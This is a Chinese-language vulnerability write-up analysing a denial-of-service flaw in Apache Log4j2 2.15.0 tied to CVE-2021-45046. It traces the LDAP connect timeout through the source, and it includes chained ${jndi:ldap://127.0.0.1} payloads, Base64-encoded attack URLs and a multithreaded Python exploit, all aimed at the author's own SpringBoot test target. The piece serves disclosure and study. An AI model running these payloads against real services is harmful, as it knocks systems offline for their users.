Apache Log4j2拒绝服务漏洞分析

本文首发于先知社区：https://xz.aliyun.com/t/10670

0x00 介绍

在Log4j2爆出RCE漏洞后，官方给出了RC1和RC2的修复，在之前的文章中有详细分析

在RC2的修复之前，其实就存在DOS的可能，但我在RC2的修复后，发现仍然可以造成拒绝服务漏洞

于是在RC2修复补丁发布后几小时内向Apache Logging PMC报告了该问题

得到了官方的认可和致谢

其实当时没有想过申请CVE等步骤，但在今天早上看到了Log4j2发布了CVE-2021-45046漏洞报告，这个CVE正是拒绝服务相关，不过漏洞credit信息并不是我，而是国外某团队

具体链接参考：

https://logging.apache.org/log4j/2.x/security.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

大致阅读CVE-2021-45046相关的信息后，发现和我提交的DOS漏洞略有不同，但核心部分是一致的

在2.15.0版本利用的前提：该漏洞必须在开启lookup功能的情况下触发

一种常见的开启姿势是在log4j2.xml中：

<appenders>
    <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
        <PatternLayout pattern="%msg{lookups}%n"/>
    </console>
</appenders>

这篇文章就从三个方面来谈一谈这个拒绝服务漏洞

• 我是如何发现这个拒绝服务漏洞的

• 这个CVE描述的漏洞与我发现的有什么相同和不同之处

• 这种拒绝服务漏洞的实际利用场景

0x01 挖掘过程

回顾RC1和RC2的修复：如果存在JndiLookup那么会判断其中的的host是否合法

if (!allowedHosts.contains(uri.getHost())) {
    LOGGER.warn("Attempt to access ldap server not in allowed list");
    return null;
}

而allowedHosts中一定包含有localhost和127.0.0.1

// 拿到本地IP
private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();
...
addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);
return new JndiManager(...,allowedHosts,...);

这说明如果LDAP服务端在127.0.0.1可以成功lookup

然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server

我想到lookup本质是网络相关的操作，会有阻塞的可能。可以构造出Payload使程序lookup本地，而本地不可能开LDAP Server，于是发生超时等待，也许会有拒绝服务漏洞的可能

于是修改了RC2的源码，加入了统计时间代码，分析lookup的超时情况

（下文分析为什么阻塞的方法不是looup而是context.getAttributes）

if (!allowedHosts.contains(uri.getHost())) {
    LOGGER.warn("Attempt to access ldap server not in allowed list");
    return null;
}
long startTime = System.currentTimeMillis();
Attributes attributes = null;
try {
    // 阻塞方法
    attributes = this.context.getAttributes(name);
}catch (Exception ignored){
}
long endTime = System.currentTimeMillis();
System.out.println(endTime-startTime);

测试以上打印时间的代码会发现总是打印2000左右，说明超时时间为2秒

深入getAttributes可以看到这样的方法

static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException {
    LdapURL var2 = new LdapURL(var0);
    // 跟入
    LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl());
    String var4 = var2.getDN() != null ? var2.getDN() : "";
    CompositeName var5 = new CompositeName();
    if (!"".equals(var4)) {
        var5.add(var4);
    }

    return new ResolveResult(var3, var5);
}

在new LdapCtx方法中存在connect操作导致阻塞

（其实connect方法还有几步才会到达最底层的阻塞，不过没有必要继续分析了）

public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
    ...
    try {
        this.connect(false);
    }
    ...
}

回到之前的问题：为什么阻塞的不是lookup而是getAttributes方法

当前代码在连接超时后会抛出异常，走不到lookup方法

其实在lookup方法中应该也会造成阻塞，简单往里面跟一下会发现类似的代码

// 从Attributes里获取属性
// 那么应该调用了getAttributes之类的阻塞方法
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
    var3 = Obj.decodeObject((Attributes)var4);
}

if (var3 == null) {
    // 类似的代码
    var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}

现在发现了能让程序阻塞的办法，那么怎样构造Payload以达成更长时间的阻塞呢

Log4j2在处理${}是递归解析，也就是说会处理一个字符串中的所有${}并分别处理对应的值，每一次的处理都会造成2秒的等待，所以只需简单的拼接即可

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) {
    ...
    substitute(event, bufName, 0, bufName.length());
    ...
    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
    ...
    int change = substitute(event, buf, startPos, varLen, priorVariables);
}

例如我拼接三个会阻塞更长的时间

（这里是针对本地80端口，实际上可以用大概率关闭的高位端口）

${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}

这时候会有师傅产生疑问：

在一个web请求中，这样的payload只能让我当前的请求阻塞住，如何实现真正的拒绝服务攻击，让目标网站无法正常处理别人的请求呢？我将在后文给大家展示

0x02 利用场景

造一个SpringBoot项目，在resources下添加配置文件开启lookup功能

<configuration status="OFF" monitorInterval="30">
    <appenders>
        <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
            <PatternLayout pattern="%msg{lookups}%n"/>
        </console>
    </appenders>

    <loggers>
        <root level="error">
            <appender-ref ref="CONSOLE-APPENDER"/>
        </root>
    </loggers>
</configuration>

为了制造场景所以要移除了SpringBoot自带的日志依赖，而选用Log4j2

另外引入starter-web以编写Controller模拟真实的接口供测试

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

模拟一个接口：接受message参数并Base64解码后打印日志

@Controller
public class TestController {
    private static final Logger logger = LogManager.getLogger(TestController.class);

    @RequestMapping("/test")
    @ResponseBody
    public String test(String message) {
        try {
            // Base64解码
            String data = new String(Base64.getDecoder().decode(message));
            logger.error("message:" + data);
        } catch (Exception e) {
            return e.getMessage();
        }
        return "";
    }
}

使用Python编写EXP打自己的靶机

import base64
import threading

import requests
# 每一个Payload将会导致阻塞20秒
payload = "${jndi:ldap://127.0.0.1}" * 10
payload = base64.b64encode(bytes(payload, encoding="utf-8"))

url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")


def work():
    requests.get(url)


if __name__ == '__main__':
    threadList = []
    # 多线程请求
    for i in range(1000):
        t = threading.Thread(target=work)
        threadList.append(t)
        t.start()
    for thread in threadList:
        thread.join()

启动SpringBoot项目后，可以用这个Python脚本成功造成拒绝服务漏洞

0x03 CVE分析

接下来分析这个CVE，其实我不确定对于这个CVE的解读是否正确

在Log4j2.xml中支持一种配置从上下文中取值：例如这个例子可以取到loginId值

<Appenders>
    <Console name="STDOUT" target="SYSTEM_OUT">
        <PatternLayout>
            <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
        </PatternLayout>
    </Console>
</Appenders>

如果程序这样写

public static void main(String[] args) throws Exception{
    ThreadContext.put("loginId","1}");
    logger.error("xxx");
}

将会打印

2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx

如果代码这样写将会导致类似的拒绝服务

ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");
logger.error("xxx");

在xml中有另一种效果相同的配置方式，但这种写法反而不会触发${}解析

<Appenders>
    <Console name="STDOUT" target="SYSTEM_OUT">
        <PatternLayout>
            <pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern>
        </PatternLayout>
    </Console>
</Appenders>

在issue中也有人证实了这一点

关于拒绝服务的分析上文已有，重点看一下ContextMapLookup

@Override
public String lookup(final String key) {
    return currentContextData().getValue(key);
}

@Override
public String lookup(final LogEvent event, final String key) {
    return event.getContextData().getValue(key);
}

这里的contextData正是一个简单的Map

在resolveVariable方法返回

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    // 取出了${jndi:ldap://127.0.0.1}
    return resolver.lookup(event, variableName);
}

取出的payload在下一次的递归中成功被lookup

不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢

定位到创建LogEvent的方法ReusableLogEventFactory.createEvent

@Override
public LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn,
                            final StackTraceElement location, final Level level, final Message message,
                            final List<Property> properties, final Throwable t) {
    if (result == null || result.reserved) {
        final boolean initThreadLocal = result == null;
        // 这个类中包含了空的context
        result = new MutableLogEvent();
        ...
    }
    ...
    // 真正设置context属性
    result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData()));
    result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack());
    ...
    return result;
}

跟入ThreadContextDataInjector.injectContextData方法

@Override
public StringMap injectContextData(final List<Property> props, final StringMap ignore) {
    if (providers.size() == 1 && (props == null || props.isEmpty())) {
        // 跟入supplyStringMap
        return providers.get(0).supplyStringMap();
    }
    ...
}

进入ThreadContextDataProvider.supplyStringMap方法

@Override
public StringMap supplyStringMap() {
    return ThreadContext.getThreadContextMap().getReadOnlyContextData();
}

在getReadOnlyContextData中获得这个Map

再没有必要做进一步的分析了，这个拒绝服务漏洞原理已经清晰了

0x04 CVE利用场景

CVE中提到的利用场景应该更为广泛

通常情况下，记录登录用户的身份等信息是常见的操作

如果程序员选择了Log4j2这种ctx记录的方式而不是手动拼接字符串，将会导致该漏洞

@RequestMapping("/test")
@ResponseBody
public String test(String userId) {
    try {
        String id = new String(Base64.getDecoder().decode(userId));
        // 记录用户登录ID
        ThreadContext.put("loginId", id);
        // 记录该用户已登录
        logger.info("user login");
        // 其他业务逻辑
        // ...
    } catch (Exception e) {
        return e.getMessage();
    }
    return "";
}

正常情况下：http://localhost:8080/test?userId=MQ==

将会记录

2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login

如果打Payload则报错并成功阻塞

http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9

改写下Python脚本即可成功拒绝服务

url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")

0x05 代码

SpringBoot搭建的利用环境代码：https://github.com/EmYiQing/Log4j2DoS

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